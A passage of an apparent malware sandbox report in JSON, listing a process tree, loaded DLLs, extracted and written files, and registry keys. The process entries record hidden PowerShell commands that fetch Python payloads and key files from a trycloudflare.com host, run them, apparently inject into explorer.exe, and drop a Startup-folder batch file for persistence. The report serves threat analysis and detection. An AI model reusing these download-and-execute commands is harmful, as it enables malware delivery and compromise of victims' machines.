--field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:8","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00008032"},{"pid":3836,"ppid":4204,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4896 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:8","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00003836"},{"pid":8164,"ppid":4204,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5628 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:8","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00008164"},{"pid":1280,"ppid":4204,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6508 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:8","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00001280"},{"pid":308,"ppid":4204,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6572 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:8","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00000308"},{"pid":3044,"ppid":2240,"name":"powershell.exe","command_line":"powershell -WindowStyle Hidden -Command \"Start-Process -FilePath 'C:\\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat' -ArgumentList 'h' -WindowStyle Hidden\"","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00002240","uid":"00000000-00003044"},{"pid":3108,"ppid":3044,"name":"cmd.exe","command_line":"/c \"\"C:\\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat\" h \"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003044","uid":"00000000-00003108"},{"pid":5872,"ppid":3108,"name":"powershell.exe","command_line":"powershell -Command \"iwr 'https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip' -OutFile '%TEMP%\\p.zip'; expand-archive '%TEMP%\\p.zip' '%LOCALAPPDATA%\\xt' -Force\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003108","uid":"00000000-00005872"},{"pid":6572,"ppid":3108,"name":"powershell.exe","command_line":"powershell -Command \"iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/zmorf.py' -OutFile '%LOCALAPPDATA%\\xt/zmorf.py'; iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/BB1.bin' -OutFile '%LOCALAPPDATA%\\xt/BB1.bin'; iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/BB1.txt' -OutFile '%LOCALAPPDATA%\\xt/BB1.txt'; iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.bin' -OutFile '%LOCALAPPDATA%\\xt/s1.bin'; iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.txt' -OutFile '%LOCALAPPDATA%\\xt/s1.txt'; iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.bin' -OutFile '%LOCALAPPDATA%\\xt/s2.bin'; iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.txt' -OutFile '%LOCALAPPDATA%\\xt/s2.txt';","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003108","uid":"00000000-00006572"},{"pid":7628,"ppid":3108,"name":"python.exe","command_line":"python zmorf.py -i BB1.bin -k BB1.txt -c -v","sha256":"2adf0b335a3f168b3e9cc6dc5cdda6ae2531cfa3df9c891178f5daeada76d14a","normalized_path":"%LOCALAPPDATA%\\xt\\python.exe","parent_uid":"00000000-00003108","uid":"00000000-00007628"},{"pid":4720,"ppid":7628,"name":"explorer.exe","command_line":"","sha256":"107060bab6d8dff0fdf91777f84453b8336fdc4c30ca189ab9d58e8801c9e924","normalized_path":"%WINDIR%\\explorer.exe","parent_uid":"00000000-00007628","uid":"00000000-00004720"},{"pid":7708,"ppid":3108,"name":"python.exe","command_line":"python zmorf.py -i s1.bin -k s1.txt -c -v","sha256":"2adf0b335a3f168b3e9cc6dc5cdda6ae2531cfa3df9c891178f5daeada76d14a","normalized_path":"%LOCALAPPDATA%\\xt\\python.exe","parent_uid":"00000000-00003108","uid":"00000000-00007708"},{"pid":6600,"ppid":7708,"name":"explorer.exe","command_line":"","sha256":"107060bab6d8dff0fdf91777f84453b8336fdc4c30ca189ab9d58e8801c9e924","normalized_path":"%WINDIR%\\explorer.exe","parent_uid":"00000000-00007708","uid":"00000000-00006600"},{"pid":7868,"ppid":3108,"name":"py.exe","command_line":"\"%LOCALAPPDATA%\\xt\\zmorf.py\" -i s2.bin -k s2.txt -c -v","sha256":"dc7585f00e12dc97427a3c98bbf8b09c3498b1e81be2f245a68bac1dae2bf46a","normalized_path":"%WINDIR%\\py.exe","parent_uid":"00000000-00003108","uid":"00000000-00007868"},{"pid":3540,"ppid":7868,"name":"python.exe","command_line":"\"%LOCALAPPDATA%\\xt\\zmorf.py\" -i s2.bin -k s2.txt -c -v","sha256":"bf1b03022cadfc18049a7f0ecf1f3134c7676fcb6ff6c6941ae7f77e21285c73","normalized_path":"%LOCALAPPDATA%\\Programs\\Python\\Python311\\python.exe","parent_uid":"00000000-00007868","uid":"00000000-00003540"}],"all_imported_dlls":["gdi32.dll","mpr.dll","devobj.dll","winmmbase.dll","fwbase.dll","vulkan-1.dll","amsi.dll","wininet.dll","dxva2.dll","System.Management.ni.dll","SettingSyncCore.dll","fastprox.dll","msvfw32.dll","msdmo.dll","sechost.dll","Windows.UI.dll","vaultcli.dll","msvcp140.dll","ncryptsslp.dll","clrcompression.dll","DataExchange.dll","System.ni.dll","fltLib.dll","oleaut32.dll","mspdf.dll","System.Drawing.ni.dll","win32u.dll","setupapi.dll","msvproc.dll","avicap32.dll","advapi32.dll","ole32.dll","combase.dll","dcomp.dll","concrt140.dll","ncrypt.dll","winsta.dll","msvcrt.dll","winmm.dll","PCPKsp.dll","ws2_32.dll","iertutil.dll","sxs.dll","devenum.dll","vcruntime140_clr0400.dll","mskeyprotect.dll","System.IO.Compression.ni.dll","webio.dll","dwmapi.dll","oneds.dll","mip_protection_sdk.dll","MpOAV.dll","OneCoreUAPCommonProxyStub.dll","imagehlp.dll","bcrypt.dll","System.Data.ni.dll","kernel32.dll","cryptsp.dll","slc.dll","System.Configuration.Install.ni.dll","ntdll.dll","IPHLPAPI.DLL","System.Numerics.ni.dll","cabinet.dll","bcryptprimitives.dll","twinapi.dll","Windows.System.Profile.RetailInfo.dll","msmpeg2vdec.dll","ucrtbase_clr0400.dll","winnsi.dll","powrprof.dll","clr.dll","python314.dll","KBDUS.DLL","dpapi.dll","vk_swiftshader.dll","d3d10warp.dll","Microsoft.VisualBasic.ni.dll","wow64cpu.dll","Windows.Shell.ServiceHostBuilder.dll","netutils.dll","CoreUIComponents.dll","srumapi.dll","Microsoft.Management.Infrastructure.ni.dll","System.Configuration.ni.dll","Microsoft.PowerShell.Commands.Management.ni.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","mscms.dll","Windows.System.UserProfile.DiagnosticsSettings.dll","Windows.Networking.Connectivity.dll","user32.dll","cryptbase.dll","msedge_elf.dll","Windows.Security.Authentication.Web.Core.dll","System.Data.dll","wbemcomn.dll","ucrtbase.dll","ntasn1.dll","nlaapi.dll","MpClient.dll","atlthunk.dll","netprofm.dll","CoreMessaging.dll","cfgmgr32.dll","Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll","twinapi.appcore.dll","System.Management.Automation.ni.dll","python311.dll","cryptnet.dll","microsoft_apis.dll","mip_core.dll","dhcpcsvc6.dll","Windows.Media.dll","samcli.dll","pcacli.dll","wlanapi.dll","FWPUCLNT.DLL","KernelBase.dll","mfperfhelper.dll","wbemprox.dll","profapi.dll","msvcp_win.dll","ResourcePolicyClient.dll","apphelp.dll","WMINet_Utils.dll","edputil.dll","TextInputFramework.dll","libGLESv2.dll","wbemsvc.dll","wkscli.dll","rsaenh.dll","dsreg.dll","directmanipulation.dll","d3dcompiler_47.dll","d3d11.dll","FirewallAPI.dll","cldapi.dll","wow64.dll","dbghelp.dll","DolbyDecMFT.dll","rtutils.dll","psapi.dll","sppc.dll","wmiutils.dll","crypt32.dll","npmproxy.dll","onramp.dll","tbs.dll","System.DirectoryServices.ni.dll","Windows.StateRepositoryPS.dll","urlmon.dll","gpapi.dll","ffmpeg.dll","RTWorkQ.dll","7c3aP61i.dll","Microsoft.PowerShell.Security.ni.dll","WinTypes.dll","VxSSL64.dll","shlwapi.dll","ieframe.dll","dxilconv.dll","atl.dll","clrjit.dll","imm32.dll","propsys.dll","version.dll","userenv.dll","System.Xml.ni.dll","rasman.dll","OnDemandConnRouteHelper.dll","dmcmnutils.dll","cmdext.dll","kernel.appcore.dll","msedge.dll","shell32.dll","dxgi.dll","msIso.dll","oleacc.dll","winhttp.dll","mfsensorgroup.dll","mfplat.dll","System.Transactions.ni.dll","python3.dll","comctl32.dll","DWrite.dll","wevtapi.dll","CompPkgSup.dll","dhcpcsvc.dll","nsi.dll","System.Core.ni.dll","System.Windows.Forms.ni.dll","wow64win.dll","aepic.dll","System.Transactions.dll","rmclient.dll","wtsapi32.dll","Windows.Web.dll","rasadhlp.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","sspicli.dll","UIAutomationCore.dll","Windows.Security.Authentication.OnlineId.dll","wintrust.dll","libffi-8.dll","mlang.dll","vcruntime140.dll","msasn1.dll","msctf.dll","wldp.dll","msvcp110_win.dll","mswsock.dll","dnsapi.dll","D3D12.dll","OneCoreCommonProxyStub.dll","SHCore.dll","uxtheme.dll","ntmarta.dll","vcruntime140_1.dll","windows.storage.dll","sfc_os.dll","mf.dll","rasapi32.dll","schannel.dll","clbcatq.dll","libEGL.dll","mscorlib.ni.dll","actxprxy.dll","mscoreei.dll","secur32.dll","BitsProxy.dll","rpcrt4.dll","gdi32full.dll","netapi32.dll","linkinfo.dll","mscoree.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"python314.dll","sha256":"a7dfccaa87f46ed3b19be3449bdeeaae4935fd1df6938a88e35a1f40becf7d0c","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"startup.bat","sha256":"c180090d51b6593759e466078d34f5deafb8a6485bb8d98da8e7456f75fcaa66","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"_decimal.pyd","sha256":"fc6e1fecd9a27256f24bbb1095c57c079436d1ed66a1653c0f45b045e189c16e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"_lzma.pyd","sha256":"1b917db5ab8ef92a6a0bb807686c1123eb709592296ae0780fd3dc09d4b97e15","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"_ssl.pyd","sha256":"1d15f46588d9370d6602aa757ac550bfbf5f8f67604cb5797ea3524233a33c90","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"_zstd.pyd","sha256":"32a55a5f9e54e75a0b4246253b1d46e077c7c2178fcb417dae1e3263c9140d70","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"libcrypto-3.dll","sha256":"ccfffddcd3defb8d899026298af9af43bc186130f8483d77e97c93233d5f27d7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"libssl-3.dll","sha256":"007142039f04d04e0ed607bda53de095e5bc6a8a10d26ecedde94ea7d2d7eefe","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"python.cat","sha256":"66b33a02757818de20b3c09f25eece4afa6b8a7d982ee332ff038b43e06bc71f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"python.exe","sha256":"2adf0b335a3f168b3e9cc6dc5cdda6ae2531cfa3df9c891178f5daeada76d14a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"python3.dll","sha256":"3975726decbab0763612e9b3f9b640e5576110872a2160a6214c9f7d332eda9f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"s1.bin","sha256":"925892eb18e409d04de70e1c19b009fc3c5a0e12f1321e6e2aad237612da4c78","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"s2.bin","sha256":"5a37844f3a2ed1d7addb865327dab3a5ac86f7a7b072fe4d2a39b97e9da74aae","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"sqlite3.dll","sha256":"9fff13c17b6ee16bf0ecc906b5860b17464fcb9e04691db39b8a8752f62b1235","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"vcruntime140.dll","sha256":"052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"vcruntime140_1.dll","sha256":"6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"pythonw.exe","sha256":"cb26d2aeb46e915e4ddb77bb1e46b3a0f80f80c9d63f048d890a210bcb3a1534","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"urlref_httpsopposite-lodge-strict-closes.trycloudflare.comxtBB1.bin","sha256":"31342bbe1af5be6f30000d835d8e095743131d6600531b4a7a73186d713330cc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"BB1.bin","sha256":"31342bbe1af5be6f30000d835d8e095743131d6600531b4a7a73186d713330cc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"BB1.txt","sha256":"99b4182dd9ae6ffc9202dccc12e55f319d7b96352590d9d81896c301e48a10a0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"LICENSE.txt","sha256":"935cf13e19f8c31b497d20b05d73623431a226b230c3599bc30fa3348979bc68","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"_asyncio.pyd","sha256":"0321046d58b4ac508d41d1825166c3e347a2eec4876f318de7ea854e008f1f63","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"_bz2.pyd","sha256":"382748de61004cc7602eab954e0f8bdb36a2271f5350bb01a73f0f0d496d749e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"_ctypes.pyd","sha256":"3cb02af5bca4d8fe0e6e96e02d7c7de48cf3dc2abbfb0b51b3c51d92c78b7451","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"_overlapped.pyd","sha256":"f7aa0e9d228ed2c4e30756855bd4887daae485f0d6df474c39cf63eb8e5a7a92","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"_queue.pyd","sha256":"c21d9df22247958a78e4c6750b1d30b88f4bbac90d0d43f58a5a8af1863c57b2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"_remote_debugging.pyd","sha256":"20b393b6d453ca06e71c4df34ce45edd6d4cb66b331633b244782f2b1e0147bb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"_socket.pyd","sha256":"a90a703b180447c1998d080dd15dbb6950d7fa9bf7a7c9e87689ce8930c1446c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"_uuid.pyd","sha256":"4fc4a2e9e2c4cef85bf11f71cc52089b73fc611721a50d4dcc95e2b04cd9406a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"_wmi.pyd","sha256":"90f2752716eb7935002ac8265d6938f64a284b0f2244577f084bb12aec82bf35","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"_zoneinfo.pyd","sha256":"0e942bbd90a8b3c8e1c05009c2c1bca933cc37af1915eb721ed935743f33bdb8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_101rittz.p4e.ps1","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_fpsdrg3m.qbj.psm1","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\startup.bat","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_x0ien3mv.x3r.ps1","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_kjwqxdww.vgw.psm1","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%TEMP%\\p.zip","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\python.exe","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\vcruntime140_1.dll","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\LICENSE.txt","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\select.pyd","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\unicodedata.pyd","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\_asyncio.pyd","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\_bz2.pyd","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\_overlapped.pyd","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\_queue.pyd","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\_socket.pyd","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\_uuid.pyd","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\_wmi.pyd","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\_zoneinfo.pyd","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\_zstd.pyd","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\libcrypto-3.dll","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\libffi-8.dll","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\sqlite3.dll","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\python314.zip","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\python.cat","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\zmorf.py","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\BB1.bin","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\BB1.txt","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\s1.bin","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\s1.txt","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\s2.bin","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"path":"%LOCALAPPDATA%\\xt\\s2.txt","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\DESKTOP\\NAMESPACE\\\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\DESKTOP\\NAMESPACE\\\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\DESKTOP\\NAMESPACE\\DELEGATEFOLDERS\\\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HK